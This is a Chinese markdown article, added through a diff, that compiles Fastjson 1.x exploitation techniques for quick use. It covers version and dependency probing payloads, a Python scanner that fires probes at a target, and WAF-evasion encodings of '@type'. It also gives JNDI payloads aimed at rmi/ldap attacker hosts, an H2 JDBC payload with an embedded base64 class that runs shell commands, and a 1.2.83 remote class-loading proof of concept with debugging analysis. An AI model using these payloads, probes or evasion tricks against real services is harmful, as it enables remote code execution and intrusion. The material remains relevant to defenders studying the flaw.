b/books/Fastjson1全版本漏洞利用总结.md @@ -0,0 +1,3352 @@ +# Fastjson1全版本漏洞利用总结 +> 来源:https://xz.aliyun.com/news/92638 + + +# 前言 + + +网上很多 Fastjson 文章由于时间原因,对利用链的整理都不是很齐全,所以笔者自己做个整理,方便复习和利用。 + +这里主要做整理,并简要分析几个关键版本的绕过原理,力求让读者能够在简单理解的基础上,快速对相应版本进行利用。 + +文章涉及的部分代码见:[https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson](https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson) + +本文主要的目标是: + +1、梳理 Fastjson1 反序列化流程,以及 parse / parseObject 的差异 2、整理探测手段(版本、依赖、期望类)与常见 WAF 绕过 3、按版本整理关键绕过与利用链(47 / 68 / 80 / 83 等),并简要分析原理 4、补充「写文件 → RCE」的落地思路,以及配套脚本 + +让我们开始吧。 + + +# 反序列化流程 + + +先抛一个实际利用里经常碰到的问题:如果某个字段既出现在 public 有参构造里,又有 setter,那 Fastjson 到底走哪条路? + + +## 存在无参构造 + + +● Fastjson 首先调用无参构造函数(`new ClassName()`)实例化对象 +●解析 JSON 中的键值对 + +● 通过反射调用该字段对应的 Setter(`setFieldName(...)`)把值注入进去 +●此时有参构造会被忽略 + + +## 不存在无参构造 + + +●Fastjson 检测到没有无参构造后,会尝试匹配参数最多的有参构造 + +●从 JSON 里抽出对应构造参数的值 + +● 调用有参构造函数(`new ClassName(arg1, arg2...)`)实例化对象 +●如果 JSON 里还有不在构造参数列表中的字段,且这些字段有 Setter,则会在实例化后再调用那些 Setter + + +## 使用了@JSONCreator 注解 + + +如果在构造函数(或静态工厂方法)上标了 `@JSONCreator`,Fastjson 会强制走该构造,不管有没有无参构造或 Setter,值都通过构造注入。安全研究场景里比较少见。 + +所以可以利用的入口主要是 setter,或者有参构造。有参构造是从 JSON 内层执行到外层的。 + +KCON2022 里也有一张比较直观的图: + + +![](https://i.im.ge/QMVpVqa/p2m-6e4c7e587b.png) + + + + +## parse和parseObject + + +更细的源码分析见:[Fastjson源码分析 | 1diot9's Blog](https://1diot9.github.io/2025/12/04/Fastjson源码分析/) + +这里先记结论,后面写 payload 时不容易绕晕: + +● `parse` 和多参 `parseObject` (存在期望类) 行为接近,都会调用 setter,以及符合条件的 getter,如下图: + +![](https://i.im.ge/QMVpZnx/p2m-372c0a33a9.png) + + + +● 单参 `parseObject` 会额外触发所有 public getter +● `parse` 反序列化且不指定类型时,可以通过 `$ref` 触发 getter +● 默认只能触发 public 方法,除非开启了 `Feature.SupportNonPublicField` + +# 写文件如何 RCE + + +Fastjson 高版本利用里,写文件链出现得很多。写完文件之后怎么落到 RCE,可以参考: + +[https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA) + +大致可以概括成下面几类: + +1、计划任务 / sshkey,通常需要 root 2、写 jsp 等 webshell,不适用于纯 jar 部署 3、写 jar 覆盖 `jre/lib`,最经典的是覆盖 `charsets.jar`;没法写二进制时,可以考虑 ascii jar:[https://github.com/c0ny1/ascii-jar](https://github.com/c0ny1/ascii-jar) 4、写 jre classes,需要知道并创建目录,还要有入口点 5、写 classes + SPI,同样需要知道目录并能创建目录 6、写 tomcat-docbase class,需要知道目录,且依赖特定 ClassLoader(基本限制在 Fastjson 利用场景) + +其中方法 3~5 基本只在 JDK8 下好用。 + + + + +# 探测 + + + +## Fastjson 判断 + + +1、根据报错信息判断 + +故意破坏 JSON,看报错回显: + + +```json +{"age":20,"name":"Bob" +``` + +也可以用 `@type` 探一下 AutoType 是否开启: + + +```json +{"@type":"whatever"} +``` + +2、根据解析变化判断 + + +```json +{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} + +{"ext":"blue","name":{"$ref":"$.ext"}} +``` + +![](https://i.im.ge/QMVpWxG/p2m-f41c2c32c2.png) + + + +3、DNS 请求 + +不出网时,也可以根据响应时间是否变长来间接判断: + + +```json +{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"} +``` + +4、区别 Jackson + + +```json +// 多余的类成员: 添加一个键值 test,jackson会报错,fastjson不会 +{"age":20,"name":"Bob","test":1} + +// jackson 不支持单引号作为界定符 +{"age":20,'name':'Bob'} + +// jackson 可以使用注释符/*#,fastjson 会报错,fastjson的注释符是 // +{ + "age":20, + "name":'Bob' +}/*#aaaa + +// jackson 会丢失精度 +{ + "age":20.111111111111111111111111111, + "name":'Bob' +} +``` + +5、区别 Gson + + +```json +// 浮点类型精度丢失 +{a:1.111111111111111111111111111} + +// 注释符 +#\r\n{a:1} +``` + +![](https://i.im.ge/QMVpfPJ/p2m-06ce5a33ac.png) + + + +6、区别 org.json + + +```json +// 特殊字符 +{a:'\r'} +``` + +![](https://i.im.ge/QMVpkky/p2m-9204805225.png) + + + + +## 版本探测 + + +参考:[https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) + +1、AutoType 探测 + + +```json +{"xxx":{"@type":"java.lang.Class","val":""}} + + +{"xxx":{"@type":"Random.String"}} +``` + +开启 AutoType 时:payload1 报错,payload2 不报错 + +`autoType is not support. java.lang.Class` + +未开启 AutoType 时:payload1 不报错,payload2 报错 + +`autoType is not support. Random.String` + +2、AutoCloseable 精确探测 + + +```json +{ + "@type": "java.lang.AutoCloseable" +``` + +注意:Fastjson 1.2.76 之后,即使用这种方式,探测结果也会停在 1.2.76。 + +3、1.2.83 具体探测 + + +```json +{"xxx":{"@type":"Test.TestException"}} +``` + +只有 1.2.83 时不报错。 + +4、dnslog 探测大致版本 + + +```json +// <=1.2.47 +[ + { + "@type": "java.lang.Class", + "val": "java.io.ByteArrayOutputStream" + }, + { + "@type": "java.io.ByteArrayOutputStream" + }, + { + "@type": "java.net.InetSocketAddress" + { + "address":, + "val": "aaa.xxxx.ceye.io" + } +} +] + + +// <=1.2.68 +[ + { + "@type": "java.lang.AutoCloseable", + "@type": "java.io.ByteArrayOutputStream" + }, + { + "@type": "java.io.ByteArrayOutputStream" + }, + { + "@type": "java.net.InetSocketAddress" + { + "address":, + "val": "bbb.n41tma.ceye.io" + } +} +] + + +// <=1.2.80 只收到第一个dns请求,1.2.83 收到两个dns请求 +[ + { + "@type": "java.lang.Exception", + "@type": "com.alibaba.fastjson.JSONException", + "x": { + "@type": "java.net.InetSocketAddress" + { + "address":, + "val": "ccc.4fhgzj.dnslog.cn" + } +} +}, + { + "@type": "java.lang.Exception", + "@type": "com.alibaba.fastjson.JSONException", + "message": { + "@type": "java.net.InetSocketAddress" + { + "address":, + "val": "ddd.4fhgzj.dnslog.cn" + } +} +} +] +``` + +5、不出网探测:根据响应是 500 还是正常判断 + +[https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA](https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA) + + +```latex +【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80 +{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}} + + +【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83 +{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}} + + +【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83 +{ + "a": { + "@type": "java.lang.Class", + "val": "com.sun.rowset.JdbcRowSetImpl" + }, + "b": { + "@type": "com.sun.rowset.JdbcRowSetImpl" + } +} + + +【不报错】1.2.24 【报错】1.2.25-1.2.83 +{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}} +``` + +## 依赖探测 + + +1、Character 转换报错 + + +```json +{ + "x": { + "@type": "java.lang.Character"{ + "@type": "java.lang.Class", + "val": "org.springframework.web.bind.annotation.RequestMapping" +}} +``` + +类存在时会报 `can not cast`,不存在则往往是 `No message available`。 + +一些相关依赖类: + + +```latex +org.springframework.web.bind.annotation.RequestMapping //SpringBoot +org.apache.catalina.startup.Tomcat //Tomcat +groovy.lang.GroovyShell //Groovy - 1.2.80 +com.mchange.v2.c3p0.DataSources //C3P0 +org.apache.ibatis.datasource.unpooled.UnpooledDataSource //mybatis +org.h2.jdbcx.JdbcDataSource //h2 +com.mysql.jdbc.Buffer //mysql-jdbc-5 +com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6 +com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8 +jdk.nashorn.tools.Shell //JDK8 +java.net.http.HttpClient //JDK11 +com.sun.org.apache.bcel.internal.util.ClassLoader // <= jdk8u251 +org.apache.ibatis.type.Alias //Mybatis +org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL +org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL +org.apache.commons.dbcp.BasicDataSource //commons-dbcp <= 1.4 +org.apache.commons.dbcp2.BasicDataSource //commons-dbcp2 <= 2.13.0 +org.apache.commons.io.ByteOrderMark //commons-io-通用类,不确定版本 +org.apache.commons.io.Java7Support //commons-io-2.5独有 +org.apache.commons.io.IOIndexedException //commons-io-2.7独有 +org.apache.commons.io.file.Counters //commons-io-2.7-2.8独有 +org.apache.commons.io.FileSystem //commons-io-2.7独有 +org.apache.commons.io.file.PathUtils //commons-io-2.7独有 +org.apache.commons.io.function.IOConsumer //commons-io-2.7独有 +org.aspectj.ajde.Ajde //aspectjtools +com.fasterxml.jackson.core.exc.InputCoercionException //jackson +org.python.antlr.ParseException //jython +org.postgresql.jdbc.PgConnection //postgre +``` + +配套脚本: + + +```python +import requests +import os + + +def jar_scanner(url: str, timeout: int = 10) -> list: + """ + 扫描目标URL的fastjson依赖库 + + Args: + url: 目标URL + timeout: 请求超时时间(秒) + + Returns: + list: 检测到的依赖列表 + """ + base_dir = os.path.dirname(os.path.abspath(__file__)) + jar_list_path = os.path.join(base_dir, "poc", "jarList.txt") + jar_scan_path = os.path.join(base_dir, "poc", "jarScan.json") + + # 读取jarScan.json模板(畸形JSON,直接读取文本) + with open(jar_scan_path, "r", encoding="utf-8") as f: + poc_template = f.read() + + # 读取jarList.txt + with open(jar_list_path, "r", encoding="utf-8") as f: + lines = f.readlines() + + detected_jars = [] + + for line in lines: + line = line.strip() + if not line or "//" not in line: + continue + + # 按 // 划分,获取类名和依赖说明 + parts = line.split("//") + clazz = parts[0].strip() + description = parts[1].strip() if len(parts) > 1 else "" + + # 替换POC模板中的${clazz} + poc_data = poc_template.replace("${clazz}", clazz) + + try: + # 发送POST请求,使用data=发送原始数据 + response = requests.post( + url, + data=poc_data, + headers={"Content-Type": "application/json"}, + timeout=timeout + ) + + # 检查响应中是否包含 "can not cast to char" + if "can not cast to char" in response.text: + result = f"\033[92m[+] 发现依赖: {description} ({clazz})\033[0m" + print(result) + detected_jars.append({ + "class": clazz, + "description": description, + "line": line.strip() + }) + else: + print(f"[-] 未检测到: {description} ({clazz})") + + except requests.exceptions.Timeout: + print(f"[!] 请求超时: {clazz}") + except requests.exceptions.RequestException as e: + print(f"[!] 请求失败: {clazz} - {e}") + except Exception as e: + print(f"[!] 异常: {clazz} - {e}") + + return detected_jars + + +if __name__ == "__main__": + import sys + + if len(sys.argv) < 2: + print("Usage: python main.py ") + print("Example: python main.py http://example.com/api") + sys.exit(1) + + target_url = sys.argv[1] + print(f"[*] 开始扫描目标: {target_url}") + print("=" * 60) + + results = jar_scanner(target_url) + + print("=" * 60) + print(f"[*] 扫描完成,共发现 {len(results)} 个依赖") +``` + + + +2、dnslog + + +```json +{"@type":"java.net.Inet4Address", +"val":{"@type":"java.lang.String" +{"@type":"java.util.Locale", +"val":{ +"@type":"com.alibaba.fastjson.JSONObject",{ +"@type": "java.lang.String""@type":"java.util.Locale", +"language":{"@type":"java.lang.String" +{1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}}, +"country":"x.l56y7u6g.dnslog.pw" +}} +} +``` + +![](https://i.im.ge/QMVpHFS/p2m-22f9829569.png) + + + +我本地试了好几次一直不行: + + +![](https://i.im.ge/QMVpp9z/p2m-591e5a3c53.png) + + + + +## 判断是否存在期望类 + + +[https://mp.weixin.qq.com/s/7c\_zi5Pv4a69IV0zzJo5Ww](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww) + +黑盒里经常会碰到:入口到底是 `JSON.parse(json)`,还是 `JSON.parseObject(json, Xxx.class)` / Spring 参数绑定带了期望类?两者后面能用的链差很多,有必要先探一下。 + +像下面这种写法,反序列化时就带着期望类: + + +```java +JSONObject.parseObject(payload, Test.class) +``` + +Spring 配了 Fastjson 做参数解析时,框架层也会在反序列化参数时塞进期望类。可以在原请求参数上叠一层来测: + + +```json +{"@type":"com.alibaba.fastjson.support.geo.Feature"} +``` + +例如原始请求: + + +```json +{"username":"admin","password":"123456"} +``` + +改成: + + +```json +{ + "@type": "com.alibaba.fastjson.support.geo.Feature", + "username": "admin", + "password": "123456" +} +``` + +如果原参数是数组,可以写成: + + +```json +[ + { + "@type": "com.alibaba.fastjson.support.geo.Feature", + "username": "admin", + "password": "123456" + } +] +``` + +报错 → 该反序列化点存在期望类。 + +注意:`com.alibaba.fastjson.support.geo.Feature` 是 1.2.68 才引入的,顺便也能用来判断版本是否低于 1.2.68。 + +还有一个更抽象一点的写法: + + +```json +{{}:{}} +``` + +结合原参数: + + +```json +{ + {}: {}, + "username": "admin", + "password": "123456" +} +``` + +若存在期望类,且期望类型不是 `Map` 及其子类,一般会报错。再改成嵌在字段里的形式,往往就不报错了: + + +```json +{ + "test": { + { + {}: {} + }: "" + }, + "username": "admin", + "password": "123456" +} +``` + +存在期望类时,利用上会多两道限制: + +1、靠 getter 触发的 payload,大多数打不起来 2、`$ref` 引用基本用不了——结果会被转成期望类对象,引用只能落到期望类已有的成员上;成员多半是 String / 数字,而链子里要引用的往往是对象,类型一对不上就断了(比如 commons-io 读文件那套就很难直接用) + +后文「小技巧」里的 `java.util.Currency`,就是针对「有期望类还想触发 getter」的一种绕法。 + + +# WAF 绕过 + + +Unicode / hex 编码: + + +```json +{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} + +{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}} +``` + +多个逗号: + + +```json +{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true } +``` + +`_` 和 `-` 绕过: + +Fastjson 解析 JSON 字段 key 时,会把 `_` 和 `-` 替换为空。1.2.36 之前二者只能单独用;1.2.36 及之后支持混合使用。 + + +```json +{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} +``` + +字符填充: + +和 SQL 注入里类似,有些 WAF 会放行体积过大的数据包: + + +```json +{ + "@type":"org.example.User", + "username":"1", + "f":"a*20000" //2万个a +} +``` + +Unicode 再绕过: + +[炒冷饭之FastJson](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww) + + +```json +{"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065" +``` + + + +当然还有GhostBytes: + +[https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw](https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw) + +更完整的议题材料见:[https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf](https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf) + +核心思路是:解析侧在把「宽字符 / 非标准 hex」还原成目标字节时过于宽松(或直接 `char → byte` 丢高位),WAF 按字面匹配不到 `@type` 这类特征,后端却能解出真正的关键字符。落到 Fastjson 上,主要是 `\x` / `\u` 两处。 + +1、`\x` 绕过 + +常见写法: + + +```json +{"\x40type":"java.awt.Rectangle"} +``` + +解析时会建一个 `int[103]` 的 digits 表,只在 `0-9A-Fa-f` 位置填真实值,其余下标默认都是 0。于是 `\x40` 实际是 `digits['4']*16 + digits['0'] = 0x40`。既然没占位的地方本来就是 0,第二个字符根本不必是 `0`,任意非 hex 字符都行,比如 `J`、`_`: + + +```latex +digits['4']*16 + digits['J'] = 0x40 → '@' +digits['4']*16 + digits['_'] = 0x40 → '@' +``` + +应用例子: + + +```json +{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true} +{"\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true} +``` + +WAF 看到的是 `\x4_type` / `\x4Jtype`,Fastjson 解出来仍是 `@type`。 + +2、`\u` 绕过 + + +```json +{"\u0040type":"java.awt.Rectangle"} +``` + +跟进会发现用了 `Character.digit(c, 16)` 取 hex 值。它不只认 ASCII 的 `0-9a-f`,`char` 在 0~65535 范围内还有大量 Unicode 数字可以冒充 hex(如泰文数字、全角数字等)。最终效果和正常 `\u0040` 一样能解出 `@`,但字面特征已经被拆散,WAF 更难直接拦。 + + +```json +{"\u๐๐੪๐type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x","autoCommit":true} +``` + +和前面的 `\u+`、hex、多逗号等技巧可以叠着用。原文里还展开了 Jackson、BCEL、Tomcat 上传、URLDecoder 等同类问题,这里只记和 Fastjson WAF 绕过直接相关的两点。 + + +# 期望类绕过触发getter + + + +## $ref 触发getter + + +[https://xz.aliyun.com/news/16117](https://xz.aliyun.com/news/16117) + +当 `parse` / `parseObject` 不指定类型时,可以通过 `$ref` 触发任意字段的 getter。 + + +## java.util.Currency 触发所有 getter + + +[https://mp.weixin.qq.com/s/7c\_zi5Pv4a69IV0zzJo5Ww](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww) + +大致原理是:把 key 设成 JSONObject,但 key 又得转成字符,于是会调 `JSONObject.toString`。原生反序列化里也碰到过这个点,getter 就被带起来了。 + +而 `java.util.Currency` 是 MiscCodec 里要求这样写的(改成 `currencyCode` 也可以): + + +![](https://i.im.ge/QMVpvR6/p2m-42d866527f.png) + + + +可以用 java-chains 直接生成: + + +![](https://i.im.ge/QMVpnTF/p2m-751bc50391.png) + + + + +```json +{ + "x": { + "@type": "java.util.Currency", + "val": { + "currency": { + "xx": { + 【payload】 +} + } + } + } +} + +// 例子 +{ + "x": { + "@type": "java.util.Currency", + "val": { + "currency": { + "xx": { + "x1": { + "@type": "java.lang.Class", + "val": "org.h2.jdbcx.JdbcDataSource" + }, + { + "@type": "com.alibaba.fastjson.JSONObject", + "c": { + "@type": "org.h2.jdbcx.JdbcDataSource", + "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"yv66vgAAADIAQAEAYG9yZy9hcGFjaGUvY29tbW9tcy9iZWFudXRpbHMvY295b3RlL3Nlci9zdGQvQnl0ZUJ1ZmZlclNlcmlhbGl6ZXIyN2Q2MDNmZDM4ZjE0YTVlOWJiYTRjYjc5Mzg2NDllZgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;" + } + }: {} +} + } + } + } +} +``` + +下面的 payload 里,有一部分是按 `JSON.parse()` 写的,没考虑反序列化时存在期望类。如果反序列化点带了期望类,就得再套一层 Currency,才能把 getter 触发起来。 + + +# 1.2.83 + + +最近 83 又出了新洞,先放最上面分析。 + + +## 写文件 + JSONType + + +[https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/](https://flowerwind.github.io/2025/02/28/分享一次组合漏洞挖掘拿下目标/) + +配合写文件漏洞,依然有可能 getshell。 + +83 通过 `@type` 加载类时有白名单,但可以通过 `@JSONType` 等注解绕过: + + +![](https://i.im.ge/QMVpG4X/p2m-5857cbcac0.png) + + + +这时候配合写 tomcat-docbase,或写 jar 进类加载路径,再用 `@type` 触发,依然有机会 getshell。 + + +## CVE-2026-16723 jar:http / jar:file 加载 + + +根因是:在特定运行环境下,特定 ClassLoader 能接受 `jar`、`http` 等协议,从远程或本地加载字节码,把带 `@JSONType` 注解的恶意类塞进 JVM,再在 Fastjson 反序列化时完成初始化。 + +测试用的 poc 有三种: + + +```json +{ + "@type": "jar:http:..localhost:9192.CalcJType!.CalcJType" +} + +{ + "@type": "http:..localhost:9192.CalcJType" +} + +{ + "@type": "jar:file:.D:.CalcJType!.CalcJType" +} +``` + +测试靶场: + +[https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/target](https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/target) + +● tomcat 那个是 SpringBoot 内嵌 tomcat,没法用 `jar:http` +● 另一个是内嵌 undertow,可以用 `jar:http` +复现时必须用 jar 包形式启动,不能直接在 IDEA 里跑。类加载器不一样,会导致复现失败。 + + +### jar:http 利用 + + + +#### undertow + + +先启动 undertow 的 jar。 + +直接看漏洞点代码: + + +![](https://i.im.ge/QMVpB39/p2m-eb4d0be3cc.png) + + + +上图第一个断点会对传入的 `typeName` 做替换,把点号全部换成斜杠。所以如果我们传入的类名是 `jar:http:..localhost:9192.CalcJType!.CalcJType`,替换后就变成 `jar:http://localhost:9192/CalcJType!/CalcJType.class`: + + +![](https://i.im.ge/QMVp4LK/p2m-15e03acd28.png) + + + +`defaultClassLoader` 默认为 null,于是 `ParserConfig.class.getClassLoader()` 拿到的类加载器就很关键,直接决定能不能加载到 `jar:http` 这类协议指向的字节码。 + +这里拿到的是 `org.springframework.boot.loader.LaunchedURLClassLoader`。注意,这个类只有打成 fat jar 之后才会有,所以得自己把 fat jar 也加到 IDEA 的库里才能搜到。 + + +![](https://i.im.ge/QMVvTzM/p2m-98e68cfd1a.png) + + + +可以看到,这个类加载器继承自 `URLClassLoader`,因此能解析 `jar`、`http` 这类协议。 + +跟进 `getResourceAsStream`: + + +![](https://i.im.ge/QMVvQth/p2m-1c16aec983.png) + + + +这里会请求两次远程资源。第一次在: + + +```java +URL url = getResource(name); +``` + +这次不开启缓存,拿完输入流就关掉,效果相当于探活。 + + +![](https://i.im.ge/QMVvXFY/p2m-a5e7ea34a5.png) + + + +第二次在: + + +```java +InputStream is = urlc.getInputStream(); +``` + +这里再次拿输入流,并且会默认缓存: + + +![](https://i.im.ge/QMVvFTC/p2m-b5fbb35a6f.png) + + + +接着回到 `checkAutoType`。此时会走 Fastjson 自写的 asm 机制,检查拿到的类有没有 `@JSONType`: + + +![](https://i.im.ge/QMVvrR4/p2m-f85685c9af.png) + + + +类上带注解时,就会直接进入 `TypeUtils.loadClass`,效果接近开启了 `autoTypeSupport`,而且还开了类缓存,后面可以反复触发。 + +跟进到 `loadClass`: + + +![](https://i.im.ge/QMVvljD/p2m-7c8b88635c.png) + + + +这里能不能打通,同样取决于拿到的类加载器,这里还是 `LaunchedURLClassLoader`。可以看到,`className` 是 `jar:http:..localhost:9192.CalcJType!.CalcJType`。这个类名很怪,平时在 IDEA 里命名类根本不允许这种格式;但实际上 JVM 对类名的包容性很强,上面这种名字是允许的,只是得用脚本去改类名。 + + +![](https://i.im.ge/QMVv24P/p2m-189a18548c.png) + + + +脚本在:[https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/classNameModefier.py](https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/classNameModefier.py) + + +![](https://i.im.ge/QMVvOUq/p2m-582cfe98a5.png) + + + +脚本会改掉 `CalcJType` 的实际类名,并打成一个无扩展名的 jar,用来触发漏洞。 + +继续跟 `loadClass`,看看 `LaunchedURLClassLoader` 怎么处理这个奇怪类名。 + +先走双亲委派,一直向上到 bootstrap 尝试 `loadClass`。父加载器都 load 不到时,才让子加载器去 `findClass`,这里就是 `java.net.URLClassLoader#findClass`: + + +![](https://i.im.ge/QMVv13p/p2m-c7ebe30871.png) + + + + +![](https://i.im.ge/QMVvqtf/p2m-fb0a0c85fd.png) + + + +执行 `run` 时,会先替换成斜杠并拼上 `.class`,从而指向我们托管恶意 jar 的服务,拿类文件字节码,再 `defineClass`。值得注意的是,最终 `defineClass` 里的 name 仍然是 `jar:http:..localhost:9192.CalcJType!.CalcJType`,但刚才 python 脚本设的类名是: + + +![](https://i.im.ge/QMVvds1/p2m-bea8390e08.png) + + + +说明 `defineClass` 的 JNI native 代码里,会把点号换成斜杠,这也和上面 JVM 类名字符集范围的结论对得上。 + + +![](https://i.im.ge/QMVvszm/p2m-a23c58138b.png) + + + +至此,jar 里那个类名很怪的恶意类就成功进 JVM 了,并且被 Fastjson 缓存: + + +![](https://i.im.ge/QMVv7Or/p2m-543de73a58.png) + + + +最终在这个方法里触发类初始化: + + +![](https://i.im.ge/QMVvDjW/p2m-8fcf4729d9.png) + + + + +#### tomcat + + +上面是 undertow 的情况。换成 tomcat 的 jar 远程调试,看看卡在哪一步。 + +唯一不同的是最后的类加载器: + + +![](https://i.im.ge/QMVvIW0/p2m-036594fbb9.png) + + + +这里是 `TomcatEmbeddedWebappClassLoader`,不是 `LaunchedURLClassLoader`。 + +直接在 `org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader#loadFromParent` 断点: + + +![](https://i.im.ge/QMVviYL/p2m-7df3d69bad.png) + + + +可以看到,这里传入的 loader 其实还是 `LaunchedURLClassLoader`,理论上能加载 name 里 `jar:http` 对应的资源,因为 `forName` 最终还是走 `loader.loadClass`。 + +再跟一步: + + +![](https://i.im.ge/QMVvhUc/p2m-8fab43654d.png) + + + +能发现是在 `forName0` 这个 native 层报错了。 + +原因是:`forName0` 不允许类名里出现双斜杠,而我们的 `http://` 里就有双斜杠,所以加载失败。 + +具体 native 调用如下([https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c):](https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c):) + +`Java_java_lang_Class_forName0` → `VerifyClassname` → `skip_over_fieldname` + + +![](https://i.im.ge/QMVvUoT/p2m-d6d2619260.png) + + + +undertow 在 `loadClass` 时走的是双亲委派,最后由 `java.net.URLClassLoader#findClass` 去加载,本身就支持协议加载。 + +不过到了 JDK11 及以上,`URLClassLoader#findClass` 也加载不了了——因为最终依赖 `defineClass` 的 native 定义类,而高版本 native 同样不允许类名出现连续斜杠。 + +具体调用: + +`Java_java_lang_ClassLoader_defineClass1` → `JVM_DefineClassWithSource` → `jvm_define_class_common` → `SystemDictionary::resolve_from_stream` → `KlassFactory::create_from_stream` → `ClassFileParser::ClassFileParser` → `parse_stream` → `parse_constant_pool` → `verify_legal_class_name` → `verify_unqualified_name` + 